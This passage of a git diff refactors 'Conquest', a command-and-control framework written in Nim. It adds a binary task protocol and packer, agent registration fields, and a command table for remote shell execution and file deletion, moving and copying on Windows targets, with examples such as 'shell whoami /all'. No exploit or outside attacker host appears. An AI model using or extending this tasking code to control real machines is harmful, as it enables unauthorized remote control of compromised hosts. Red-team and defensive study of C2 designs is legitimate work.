proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
|
||||
let
|
||||
|
||||
0
src/common/crypto.nim
Normal file
0
src/common/crypto.nim
Normal file
66
src/common/serialize.nim
Normal file
66
src/common/serialize.nim
Normal file
@@ -0,0 +1,66 @@
|
||||
import streams, strutils
|
||||
import ./types
|
||||
|
||||
type
|
||||
Packer* = ref object
|
||||
headerStream: StringStream
|
||||
payloadStream: StringStream
|
||||
|
||||
proc initTaskPacker*(): Packer =
|
||||
result = new Packer
|
||||
result.headerStream = newStringStream()
|
||||
result.payloadStream = newStringStream()
|
||||
|
||||
proc addToHeader*[T: uint8 | uint16 | uint32 | uint64](packer: Packer, value: T): Packer {.discardable.} =
|
||||
packer.headerStream.write(value)
|
||||
return packer
|
||||
|
||||
proc addToPayload*[T: uint8 | uint16 | uint32 | uint64](packer: Packer, value: T): Packer {.discardable.} =
|
||||
packer.payloadStream.write(value)
|
||||
return packer
|
||||
|
||||
proc addDataToHeader*(packer: Packer, data: openArray[byte]): Packer {.discardable.} =
|
||||
packer.headerStream.writeData(data[0].unsafeAddr, data.len)
|
||||
return packer
|
||||
|
||||
proc addDataToPayload*(packer: Packer, data: openArray[byte]): Packer {.discardable.} =
|
||||
packer.payloadStream.writeData(data[0].unsafeAddr, data.len)
|
||||
return packer
|
||||
|
||||
proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} =
|
||||
|
||||
if arg.data.len <= 0:
|
||||
# Optional argument was passed as "", ignore
|
||||
return
|
||||
|
||||
packer.addToPayload(arg.argType)
|
||||
|
||||
case arg.argType:
|
||||
of cast[uint8](STRING), cast[uint8](BINARY):
|
||||
# Add length for variable-length data types
|
||||
packer.addToPayload(cast[uint32](arg.data.len))
|
||||
packer.addDataToPayload(arg.data)
|
||||
else:
|
||||
packer.addDataToPayload(arg.data)
|
||||
return packer
|
||||
|
||||
proc packPayload*(packer: Packer): seq[byte] =
|
||||
packer.payloadStream.setPosition(0)
|
||||
let data = packer.payloadStream.readAll()
|
||||
|
||||
result = newSeq[byte](data.len)
|
||||
for i, c in data:
|
||||
result[i] = byte(c.ord)
|
||||
|
||||
packer.payloadStream.setPosition(0)
|
||||
|
||||
proc packHeader*(packer: Packer): seq[byte] =
|
||||
packer.headerStream.setPosition(0)
|
||||
let data = packer.headerStream.readAll()
|
||||
|
||||
# Convert string to seq[byte]
|
||||
result = newSeq[byte](data.len)
|
||||
for i, c in data:
|
||||
result[i] = byte(c.ord)
|
||||
|
||||
packer.headerStream.setPosition(0)
|
||||
149
src/common/types.nim
Normal file
149
src/common/types.nim
Normal file
@@ -0,0 +1,149 @@
|
||||
import prompt
|
||||
import tables
|
||||
import times
|
||||
import streams
|
||||
|
||||
# Custom Binary Task structure
|
||||
const
|
||||
MAGIC* = 0x514E3043'u32 # Magic value: C0NQ
|
||||
VERSION* = 1'u8 # Version 1l
|
||||
HEADER_SIZE* = 32'u8 # 32 bytes fixed packet header size
|
||||
|
||||
type
|
||||
PacketType* = enum
|
||||
MSG_TASK = 0'u8
|
||||
MSG_RESPONSE = 1'u8
|
||||
MSG_REGISTER = 100'u8
|
||||
|
||||
ArgType* = enum
|
||||
STRING = 0'u8
|
||||
INT = 1'u8
|
||||
LONG = 2'u8
|
||||
BOOL = 3'u8
|
||||
BINARY = 4'u8
|
||||
|
||||
HeaderFlags* = enum
|
||||
# Flags should be powers of 2 so they can be connected with or operators
|
||||
FLAG_PLAINTEXT = 0'u16
|
||||
FLAG_ENCRYPTED = 1'u16
|
||||
|
||||
CommandType* = enum
|
||||
CMD_SLEEP = 0'u16
|
||||
CMD_SHELL = 1'u16
|
||||
CMD_PWD = 2'u16
|
||||
CMD_CD = 3'u16
|
||||
CMD_LS = 4'u16
|
||||
CMD_RM = 5'u16
|
||||
CMD_RMDIR = 6'u16
|
||||
CMD_MOVE = 7'u16
|
||||
CMD_COPY = 8'u16
|
||||
|
||||
StatusType* = enum
|
||||
STATUS_COMPLETED = 0'u8
|
||||
STATUS_FAILED = 1'u8
|
||||
|
||||
ResultType* = enum
|
||||
RESULT_STRING = 0'u8
|
||||
RESULT_BINARY = 1'u8
|
||||
|
||||
Header* = object
|
||||
magic*: uint32 # [4 bytes ] magic value
|
||||
version*: uint8 # [1 byte ] protocol version
|
||||
packetType*: uint8 # [1 byte ] message type
|
||||
flags*: uint16 # [2 bytes ] message flags
|
||||
seqNr*: uint32 # [4 bytes ] sequence number / nonce
|
||||
size*: uint32 # [4 bytes ] size of the payload body
|
||||
hmac*: array[16, byte] # [16 bytes] hmac for message integrity
|
||||
|
||||
TaskArg* = object
|
||||
argType*: uint8 # [1 byte ] argument type
|
||||
data*: seq[byte] # variable length data (for variable data types (STRING, BINARY), the first 4 bytes indicate data length)
|
||||
|
||||
Task* = object
|
||||
header*: Header
|
||||
|
||||
taskId*: uint32 # [4 bytes ] task id
|
||||
agentId*: uint32 # [4 bytes ] agent id
|
||||
listenerId*: uint32 # [4 bytes ] listener id
|
||||
timestamp*: uint32 # [4 bytes ] unix timestamp
|
||||
command*: uint16 # [2 bytes ] command id
|
||||
argCount*: uint8 # [1 byte ] number of arguments
|
||||
args*: seq[TaskArg] # variable length arguments
|
||||
|
||||
TaskResult* = object
|
||||
header*: Header
|
||||
|
||||
taskId*: uint32 # [4 bytes ] task id
|
||||
agentId*: uint32 # [4 bytes ] agent id
|
||||
listenerId*: uint32 # [4 bytes ] listener id
|
||||
timestamp*: uint32 # [4 bytes ] unix timestamp
|
||||
command*: uint16 # [2 bytes ] command id
|
||||
status*: uint8 # [1 byte ] success flag
|
||||
resultType*: uint8 # [1 byte ] result data type (string, binary)
|
||||
length*: uint32 # [4 bytes ] result length
|
||||
data*: seq[byte] # variable length result
|
||||
|
||||
# Commands
|
||||
Argument* = object
|
||||
name*: string
|
||||
description*: string
|
||||
argumentType*: ArgType
|
||||
isRequired*: bool
|
||||
|
||||
Command* = object
|
||||
name*: string
|
||||
commandType*: CommandType
|
||||
description*: string
|
||||
example*: string
|
||||
arguments*: seq[Argument]
|
||||
dispatchMessage*: string
|
||||
|
||||
# Agent structure
|
||||
type
|
||||
AgentRegistrationData* = object
|
||||
username*: string
|
||||
hostname*: string
|
||||
domain*: string
|
||||
ip*: string
|
||||
os*: string
|
||||
process*: string
|
||||
pid*: int
|
||||
elevated*: bool
|
||||
sleep*: int
|
||||
|
||||
Agent* = ref object
|
||||
name*: string
|
||||
listener*: string
|
||||
username*: string
|
||||
hostname*: string
|
||||
domain*: string
|
||||
process*: string
|
||||
pid*: int
|
||||
ip*: string
|
||||
os*: string
|
||||
elevated*: bool
|
||||
sleep*: int
|
||||
jitter*: float
|
||||
tasks*: seq[seq[byte]]
|
||||
firstCheckin*: DateTime
|
||||
latestCheckin*: DateTime
|
||||
|
||||
# Listener structure
|
||||
type
|
||||
Protocol* = enum
|
||||
HTTP = "http"
|
||||
|
||||
Listener* = ref object
|
||||
name*: string
|
||||
address*: string
|
||||
port*: int
|
||||
protocol*: Protocol
|
||||
|
||||
# Server structure
|
||||
type
|
||||
Conquest* = ref object
|
||||
prompt*: Prompt
|
||||
dbPath*: string
|
||||
listeners*: Table[string, Listener]
|
||||
agents*: Table[string, Agent]
|
||||
interactAgent*: Agent
|
||||
@@ -2,7 +2,7 @@ import terminal, strformat, strutils, sequtils, tables, json, times, base64, sys
|
||||
|
||||
import ../[utils, globals]
|
||||
import ../db/database
|
||||
import ../../types
|
||||
import ../../common/types
|
||||
|
||||
# Utility functions
|
||||
proc add*(cq: Conquest, agent: Agent) =
|
||||
@@ -36,27 +36,27 @@ proc register*(agent: Agent): bool =
|
||||
|
||||
return true
|
||||
|
||||
proc getTasks*(listener, agent: string): JsonNode =
|
||||
proc getTasks*(listener, agent: string): seq[seq[byte]] =
|
||||
|
||||
{.cast(gcsafe).}:
|
||||
|
||||
# Check if listener exists
|
||||
if not cq.dbListenerExists(listener.toUpperAscii):
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n")
|
||||
return nil
|
||||
raise newException(ValueError, "Invalid listener.")
|
||||
|
||||
# Check if agent exists
|
||||
if not cq.dbAgentExists(agent.toUpperAscii):
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agent}.", "\n")
|
||||
return nil
|
||||
raise newException(ValueError, "Invalid agent.")
|
||||
|
||||
# Update the last check-in date for the accessed agent
|
||||
cq.agents[agent.toUpperAscii].latestCheckin = now()
|
||||
# if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")):
|
||||
# return nil
|
||||
|
||||
# Return tasks in JSON format
|
||||
return %cq.agents[agent.toUpperAscii].tasks
|
||||
# Return tasks
|
||||
return cq.agents[agent.toUpperAscii].tasks
|
||||
|
||||
proc handleResult*(listener, agent, task: string, taskResult: TaskResult) =
|
||||
|
||||
@@ -64,31 +64,31 @@ proc handleResult*(listener, agent, task: string, taskResult: TaskResult) =
|
||||
|
||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
|
||||
if taskResult.status == Failed:
|
||||
if taskResult.status == cast[uint8](STATUS_FAILED):
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {task} failed.")
|
||||
|
||||
if taskResult.data != "":
|
||||
if taskResult.data.len != 0:
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, "Output:")
|
||||
|
||||
# Split result string on newline to keep formatting
|
||||
for line in decode(taskResult.data).split("\n"):
|
||||
cq.writeLine(line)
|
||||
# for line in decode(taskResult.data).split("\n"):
|
||||
# cq.writeLine(line)
|
||||
else:
|
||||
cq.writeLine()
|
||||
|
||||
else:
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {task} finished.")
|
||||
|
||||
if taskResult.data != "":
|
||||
if taskResult.data.len != 0:
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, "Output:")
|
||||
|
||||
# Split result string on newline to keep formatting
|
||||
for line in decode(taskResult.data).split("\n"):
|
||||
cq.writeLine(line)
|
||||
# for line in decode(taskResult.data).split("\n"):
|
||||
# cq.writeLine(line)
|
||||
else:
|
||||
cq.writeLine()
|
||||
|
||||
# Update task queue to include all tasks, except the one that was just completed
|
||||
cq.agents[agent].tasks = cq.agents[agent].tasks.filterIt(it.id != task)
|
||||
# cq.agents[agent].tasks = cq.agents[agent].tasks.filterIt(it.id != task)
|
||||
|
||||
return
|
||||
@@ -3,7 +3,7 @@ import sequtils, strutils, times
|
||||
|
||||
import ./handlers
|
||||
import ../utils
|
||||
import ../../types
|
||||
import ../../common/types
|
||||
|
||||
proc error404*(ctx: Context) {.async.} =
|
||||
resp "", Http404
|
||||
@@ -87,15 +87,12 @@ proc getTasks*(ctx: Context) {.async.} =
|
||||
listener = ctx.getPathParams("listener")
|
||||
agent = ctx.getPathParams("agent")
|
||||
|
||||
let tasksJson = getTasks(listener, agent)
|
||||
|
||||
# If agent/listener is invalid, return a 404 Not Found error code
|
||||
if tasksJson == nil:
|
||||
try:
|
||||
let tasks = getTasks(listener, agent)
|
||||
resp $tasks
|
||||
except CatchableError:
|
||||
resp "", Http404
|
||||
|
||||
# Return all currently active tasks as a JsonObject
|
||||
resp jsonResponse(tasksJson)
|
||||
|
||||
|
||||
#[
|
||||
POST /{listener-uuid}/{agent-uuid}/{task-uuid}/results
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
import terminal, strformat, strutils, tables, times, system, osproc, streams
|
||||
|
||||
import ../utils
|
||||
import ../task/handler
|
||||
import ../task/dispatcher
|
||||
import ../db/database
|
||||
import ../../types
|
||||
import ../../common/types
|
||||
|
||||
# Utility functions
|
||||
proc addMultiple*(cq: Conquest, agents: seq[Agent]) =
|
||||
|
||||
@@ -4,7 +4,7 @@ import prologue
|
||||
import ../utils
|
||||
import ../api/routes
|
||||
import ../db/database
|
||||
import ../../types
|
||||
import ../../common/types
|
||||
|
||||
# Utility functions
|
||||
proc delListener(cq: Conquest, listenerName: string) =
|
||||
|
||||
@@ -4,7 +4,7 @@ import strutils, strformat, times, system, tables
|
||||
import ./[agent, listener]
|
||||
import ../[globals, utils]
|
||||
import ../db/database
|
||||
import ../../types
|
||||
import ../../common/types
|
||||
|
||||
#[
|
||||
Argument parsing
|
||||
|
||||
@@ -2,7 +2,7 @@ import system, terminal, tiny_sqlite
|
||||
|
||||
import ./[dbAgent, dbListener]
|
||||
import ../utils
|
||||
import ../../types
|
||||
import ../../common/types
|
||||
|
||||
# Export functions so that only ./db/database is required to be imported
|
||||
export dbAgent, dbListener
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import system, terminal, tiny_sqlite, times
|
||||
|
||||
import ../utils
|
||||
import ../../types
|
||||
import ../../common/types
|
||||
|
||||
#[
|
||||
Agent database functions
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import system, terminal, tiny_sqlite
|
||||
|
||||
import ../utils
|
||||
import ../../types
|
||||
import ../../common/types
|
||||
|
||||
# Utility functions
|
||||
proc stringToProtocol*(protocol: string): Protocol =
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import ../types
|
||||
import ../common/types
|
||||
|
||||
# Global variable for handling listeners, agents and console output
|
||||
var cq*: Conquest
|
||||
@@ -1,5 +1,6 @@
|
||||
import random
|
||||
import core/server
|
||||
import strutils
|
||||
|
||||
# Conquest framework entry point
|
||||
when isMainModule:
|
||||
|
||||
@@ -1,16 +1,188 @@
|
||||
import argparse, times, strformat, terminal, sequtils
|
||||
import ../../types
|
||||
import times, strformat, terminal, tables, json, sequtils, strutils
|
||||
import ./[parser, packer]
|
||||
import ../utils
|
||||
import ../../common/types
|
||||
|
||||
proc createTask*(cq: Conquest, command: CommandType, args: string, message: string) =
|
||||
let
|
||||
date = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
task = Task(
|
||||
id: generateUUID(),
|
||||
agent: cq.interactAgent.name,
|
||||
command: command,
|
||||
args: args,
|
||||
proc initAgentCommands*(): Table[string, Command] =
|
||||
var commands = initTable[string, Command]()
|
||||
|
||||
commands["shell"] = Command(
|
||||
name: "shell",
|
||||
commandType: CMD_SHELL,
|
||||
description: "Execute a shell command and retrieve the output.",
|
||||
example: "shell whoami /all",
|
||||
arguments: @[
|
||||
Argument(name: "command", description: "Command to be executed.", argumentType: STRING, isRequired: true),
|
||||
Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: STRING, isRequired: false)
|
||||
]
|
||||
)
|
||||
|
||||
cq.interactAgent.tasks.add(task)
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, message)
|
||||
commands["sleep"] = Command(
|
||||
name: "sleep",
|
||||
commandType: CMD_SLEEP,
|
||||
description: "Update sleep delay configuration.",
|
||||
example: "sleep 5",
|
||||
arguments: @[
|
||||
Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true)
|
||||
]
|
||||
)
|
||||
|
||||
commands["pwd"] = Command(
|
||||
name: "pwd",
|
||||
commandType: CMD_PWD,
|
||||
description: "Retrieve current working directory.",
|
||||
example: "pwd",
|
||||
arguments: @[]
|
||||
)
|
||||
|
||||
commands["cd"] = Command(
|
||||
name: "cd",
|
||||
commandType: CMD_CD,
|
||||
description: "Change current working directory.",
|
||||
example: "cd C:\\Windows\\Tasks",
|
||||
arguments: @[
|
||||
Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: STRING, isRequired: true)
|
||||
]
|
||||
)
|
||||
|
||||
commands["ls"] = Command(
|
||||
name: "ls",
|
||||
commandType: CMD_LS,
|
||||
description: "List files and directories.",
|
||||
example: "ls C:\\Users\\Administrator\\Desktop",
|
||||
arguments: @[
|
||||
Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: STRING, isRequired: false)
|
||||
]
|
||||
)
|
||||
|
||||
commands["rm"] = Command(
|
||||
name: "rm",
|
||||
commandType: CMD_RM,
|
||||
description: "Remove a file.",
|
||||
example: "rm C:\\Windows\\Tasks\\payload.exe",
|
||||
arguments: @[
|
||||
Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: STRING, isRequired: true)
|
||||
]
|
||||
)
|
||||
|
||||
commands["rmdir"] = Command(
|
||||
name: "rmdir",
|
||||
commandType: CMD_RMDIR,
|
||||
description: "Remove a directory.",
|
||||
example: "rm C:\\Payloads",
|
||||
arguments: @[
|
||||
Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: STRING, isRequired: true)
|
||||
]
|
||||
)
|
||||
|
||||
commands["move"] = Command(
|
||||
name: "move",
|
||||
commandType: CMD_MOVE,
|
||||
description: "Move a file or directory.",
|
||||
example: "move source.exe C:\\Windows\\Tasks\\destination.exe",
|
||||
arguments: @[
|
||||
Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
|
||||
Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
|
||||
]
|
||||
)
|
||||
|
||||
commands["copy"] = Command(
|
||||
name: "copy",
|
||||
commandType: CMD_COPY,
|
||||
description: "Copy a file or directory.",
|
||||
example: "copy source.exe C:\\Windows\\Tasks\\destination.exe",
|
||||
arguments: @[
|
||||
Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
|
||||
Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
|
||||
]
|
||||
)
|
||||
|
||||
return commands
|
||||
|
||||
let commands = initAgentCommands()
|
||||
|
||||
proc getCommandFromTable(input: string, commands: Table[string, Command]): Command =
|
||||
try:
|
||||
let command = commands[input]
|
||||
return command
|
||||
except ValueError:
|
||||
raise newException(ValueError, fmt"The command '{input}' does not exist.")
|
||||
|
||||
proc displayHelp(cq: Conquest, commands: Table[string, Command]) =
|
||||
cq.writeLine("Available commands:")
|
||||
cq.writeLine(" * back")
|
||||
for key, cmd in commands:
|
||||
cq.writeLine(fmt" * {cmd.name:<15}{cmd.description}")
|
||||
cq.writeLine()
|
||||
|
||||
proc displayCommandHelp(cq: Conquest, command: Command) =
|
||||
var usage = command.name & " " & command.arguments.mapIt(
|
||||
if it.isRequired: fmt"<{it.name}>" else: fmt"[{it.name}]"
|
||||
).join(" ")
|
||||
|
||||
if command.example != "":
|
||||
usage &= "\nExample : " & command.example
|
||||
|
||||
cq.writeLine(fmt"""
|
||||
{command.description}
|
||||
|
||||
Usage : {usage}
|
||||
""")
|
||||
|
||||
if command.arguments.len > 0:
|
||||
cq.writeLine("Arguments:\n")
|
||||
|
||||
let header = @["Name", "Type", "Required", "Description"]
|
||||
cq.writeLine(fmt" {header[0]:<15} {header[1]:<6} {header[2]:<8} {header[3]}")
|
||||
cq.writeLine(fmt" {'-'.repeat(15)} {'-'.repeat(6)} {'-'.repeat(8)} {'-'.repeat(20)}")
|
||||
|
||||
for arg in command.arguments:
|
||||
let isRequired = if arg.isRequired: "YES" else: "NO"
|
||||
cq.writeLine(fmt" * {arg.name:<15} {($arg.argumentType).toUpperAscii():<6} {isRequired:>8} {arg.description}")
|
||||
|
||||
cq.writeLine()
|
||||
|
||||
proc handleHelp(cq: Conquest, parsed: seq[string], commands: Table[string, Command]) =
|
||||
try:
|
||||
# Try parsing the first argument passed to 'help' as a command
|
||||
cq.displayCommandHelp(getCommandFromTable(parsed[1], commands))
|
||||
except IndexDefect:
|
||||
# 'help' command is called without additional parameters
|
||||
cq.displayHelp(commands)
|
||||
except ValueError:
|
||||
# Command was not found
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] The command '{parsed[1]}' does not exist." & '\n')
|
||||
|
||||
proc handleAgentCommand*(cq: Conquest, input: string) =
|
||||
# Return if no command (or just whitespace) is entered
|
||||
if input.replace(" ", "").len == 0: return
|
||||
|
||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.name}] ", resetStyle, styleBright, input)
|
||||
|
||||
# Convert user input into sequence of string arguments
|
||||
let parsedArgs = parseInput(input)
|
||||
|
||||
# Handle 'back' command
|
||||
if parsedArgs[0] == "back":
|
||||
return
|
||||
|
||||
# Handle 'help' command
|
||||
if parsedArgs[0] == "help":
|
||||
cq.handleHelp(parsedArgs, commands)
|
||||
return
|
||||
|
||||
# Handle commands with actions on the agent
|
||||
try:
|
||||
let
|
||||
command = getCommandFromTable(parsedArgs[0], commands)
|
||||
task = cq.parseTask(command, parsedArgs[1..^1])
|
||||
taskData: seq[byte] = cq.serializeTask(task)
|
||||
|
||||
# Add task to queue
|
||||
cq.interactAgent.tasks.add(taskData)
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to {command.description.toLowerAscii()}")
|
||||
|
||||
except CatchableError:
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] {getCurrentExceptionMsg()}" & "\n")
|
||||
return
|
||||
@@ -1,185 +0,0 @@
|
||||
import times, strformat, terminal, tables, json, sequtils, strutils
|
||||
import ./[parser, packer, dispatcher]
|
||||
import ../utils
|
||||
import ../../types
|
||||
|
||||
proc initAgentCommands*(): Table[CommandType, Command] =
|
||||
var commands = initTable[CommandType, Command]()
|
||||
|
||||
commands[ExecuteShell] = Command(
|
||||
name: "shell",
|
||||
commandType: ExecuteShell,
|
||||
description: "Execute a shell command and retrieve the output.",
|
||||
example: "shell whoami /all",
|
||||
arguments: @[
|
||||
Argument(name: "command", description: "Command to be executed.", argumentType: String, isRequired: true),
|
||||
Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: String, isRequired: false)
|
||||
]
|
||||
)
|
||||
|
||||
commands[Sleep] = Command(
|
||||
name: "sleep",
|
||||
commandType: Sleep,
|
||||
description: "Update sleep delay configuration.",
|
||||
example: "sleep 5",
|
||||
arguments: @[
|
||||
Argument(name: "delay", description: "Delay in seconds.", argumentType: Int, isRequired: true)
|
||||
]
|
||||
)
|
||||
|
||||
commands[GetWorkingDirectory] = Command(
|
||||
name: "pwd",
|
||||
commandType: GetWorkingDirectory,
|
||||
description: "Retrieve current working directory.",
|
||||
example: "pwd",
|
||||
arguments: @[]
|
||||
)
|
||||
|
||||
commands[SetWorkingDirectory] = Command(
|
||||
name: "cd",
|
||||
commandType: SetWorkingDirectory,
|
||||
description: "Change current working directory.",
|
||||
example: "cd C:\\Windows\\Tasks",
|
||||
arguments: @[
|
||||
Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: String, isRequired: true)
|
||||
]
|
||||
)
|
||||
|
||||
commands[ListDirectory] = Command(
|
||||
name: "ls",
|
||||
commandType: ListDirectory,
|
||||
description: "List files and directories.",
|
||||
example: "ls C:\\Users\\Administrator\\Desktop",
|
||||
arguments: @[
|
||||
Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: String, isRequired: false)
|
||||
]
|
||||
)
|
||||
|
||||
commands[RemoveFile] = Command(
|
||||
name: "rm",
|
||||
commandType: RemoveFile,
|
||||
description: "Remove a file.",
|
||||
example: "rm C:\\Windows\\Tasks\\payload.exe",
|
||||
arguments: @[
|
||||
Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: String, isRequired: true)
|
||||
]
|
||||
)
|
||||
|
||||
commands[RemoveDirectory] = Command(
|
||||
name: "rmdir",
|
||||
commandType: RemoveDirectory,
|
||||
description: "Remove a directory.",
|
||||
example: "rm C:\\Payloads",
|
||||
arguments: @[
|
||||
Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: String, isRequired: true)
|
||||
]
|
||||
)
|
||||
|
||||
commands[Move] = Command(
|
||||
name: "move",
|
||||
commandType: Move,
|
||||
description: "Move a file or directory.",
|
||||
example: "move source.exe C:\\Windows\\Tasks\\destination.exe",
|
||||
arguments: @[
|
||||
Argument(name: "source", description: "Source file path.", argumentType: String, isRequired: true),
|
||||
Argument(name: "destination", description: "Destination file path.", argumentType: String, isRequired: true)
|
||||
]
|
||||
)
|
||||
|
||||
commands[Copy] = Command(
|
||||
name: "copy",
|
||||
commandType: Copy,
|
||||
description: "Copy a file or directory.",
|
||||
example: "copy source.exe C:\\Windows\\Tasks\\destination.exe",
|
||||
arguments: @[
|
||||
Argument(name: "source", description: "Source file path.", argumentType: String, isRequired: true),
|
||||
Argument(name: "destination", description: "Destination file path.", argumentType: String, isRequired: true)
|
||||
]
|
||||
)
|
||||
|
||||
return commands
|
||||
|
||||
let commands = initAgentCommands()
|
||||
|
||||
proc getCommandFromTable(cmd: string, commands: Table[CommandType, Command]): (CommandType, Command) =
|
||||
try:
|
||||
let commandType = parseEnum[CommandType](cmd.toLowerAscii())
|
||||
let command = commands[commandType]
|
||||
return (commandType, command)
|
||||
except ValueError:
|
||||
raise newException(ValueError, fmt"The command '{cmd}' does not exist.")
|
||||
|
||||
proc displayHelp(cq: Conquest, commands: Table[CommandType, Command]) =
|
||||
cq.writeLine("Available commands:")
|
||||
cq.writeLine(" * back")
|
||||
for key, cmd in commands:
|
||||
cq.writeLine(fmt" * {cmd.name:<15}{cmd.description}")
|
||||
cq.writeLine()
|
||||
|
||||
proc displayCommandHelp(cq: Conquest, command: Command) =
|
||||
var usage = command.name & " " & command.arguments.mapIt(
|
||||
if it.isRequired: fmt"<{it.name}>" else: fmt"[{it.name}]"
|
||||
).join(" ")
|
||||
|
||||
if command.example != "":
|
||||
usage &= "\nExample : " & command.example
|
||||
|
||||
cq.writeLine(fmt"""
|
||||
{command.description}
|
||||
|
||||
Usage : {usage}
|
||||
""")
|
||||
|
||||
if command.arguments.len > 0:
|
||||
cq.writeLine("Arguments:\n")
|
||||
|
||||
let header = @["Name", "Type", "", "Description"]
|
||||
cq.writeLine(fmt" {header[0]:<15} {header[1]:<8}{header[2]:<10} {header[3]}")
|
||||
cq.writeLine(fmt" {'-'.repeat(15)} {'-'.repeat(18)} {'-'.repeat(20)}")
|
||||
|
||||
for arg in command.arguments:
|
||||
let requirement = if arg.isRequired: "(REQUIRED)" else: "(OPTIONAL)"
|
||||
cq.writeLine(fmt" * {arg.name:<15} {($arg.argumentType).toUpperAscii():<8}{requirement:<10} {arg.description}")
|
||||
|
||||
cq.writeLine()
|
||||
|
||||
proc handleHelp(cq: Conquest, parsed: seq[string], commands: Table[CommandType, Command]) =
|
||||
try:
|
||||
# Try parsing the first argument passed to 'help' as a command
|
||||
let (commandType, command) = getCommandFromTable(parsed[1], commands)
|
||||
cq.displayCommandHelp(command)
|
||||
except IndexDefect:
|
||||
# 'help' command is called without additional parameters
|
||||
cq.displayHelp(commands)
|
||||
except ValueError:
|
||||
# Command was not found
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] The command '{parsed[1]}' does not exist." & '\n')
|
||||
|
||||
proc handleAgentCommand*(cq: Conquest, input: string) =
|
||||
# Return if no command (or just whitespace) is entered
|
||||
if input.replace(" ", "").len == 0: return
|
||||
|
||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.name}] ", resetStyle, styleBright, input)
|
||||
|
||||
let parsedArgs = parseAgentCommand(input)
|
||||
|
||||
# Handle 'back' command
|
||||
if parsedArgs[0] == "back":
|
||||
return
|
||||
|
||||
# Handle 'help' command
|
||||
if parsedArgs[0] == "help":
|
||||
cq.handleHelp(parsedArgs, commands)
|
||||
return
|
||||
|
||||
# Handle commands with actions on the agent
|
||||
try:
|
||||
let
|
||||
(commandType, command) = getCommandFromTable(parsedArgs[0], commands)
|
||||
payload = cq.packageArguments(command, parsedArgs)
|
||||
cq.createTask(commandType, $payload, fmt"Tasked agent to {command.description.toLowerAscii()}")
|
||||
|
||||
except CatchableError:
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] {getCurrentExceptionMsg()}" & "\n")
|
||||
return
|
||||
@@ -1,34 +1,40 @@
|
||||
import strutils, json
|
||||
import ../../types
|
||||
import strutils, strformat, streams
|
||||
import ../utils
|
||||
import ../../common/types
|
||||
import ../../common/serialize
|
||||
|
||||
proc packageArguments*(cq: Conquest, command: Command, arguments: seq[string]): JsonNode =
|
||||
proc serializeTask*(cq: Conquest, task: Task): seq[byte] =
|
||||
|
||||
# Construct a JSON payload with argument names and values
|
||||
result = newJObject()
|
||||
let parsedArgs = if arguments.len > 1: arguments[1..^1] else: @[] # Remove first element from sequence to only handle arguments
|
||||
var packer = initTaskPacker()
|
||||
|
||||
for i, argument in command.arguments:
|
||||
# Serialize payload
|
||||
packer
|
||||
.addToPayload(task.taskId)
|
||||
.addToPayload(task.agentId)
|
||||
.addToPayload(task.listenerId)
|
||||
.addToPayload(task.timestamp)
|
||||
.addToPayload(task.command)
|
||||
.addToPayload(task.argCount)
|
||||
|
||||
# Argument provided - convert to the corresponding data type
|
||||
if i < parsedArgs.len:
|
||||
case argument.argumentType:
|
||||
of Int:
|
||||
result[argument.name] = %parseUInt(parsedArgs[i])
|
||||
of Binary:
|
||||
# Read file into memory and convert it into a base64 string
|
||||
result[argument.name] = %""
|
||||
else:
|
||||
# The last optional argument is joined together
|
||||
# This is required for non-quoted input with infinite length, such as `shell mv arg1 arg2`
|
||||
if i == command.arguments.len - 1 and not argument.isRequired:
|
||||
result[argument.name] = %parsedArgs[i..^1].join(" ")
|
||||
else:
|
||||
result[argument.name] = %parsedArgs[i]
|
||||
for arg in task.args:
|
||||
packer.addArgument(arg)
|
||||
|
||||
# Argument not provided - set to empty string for optional args
|
||||
else:
|
||||
# If a required argument is not provided, display the help text
|
||||
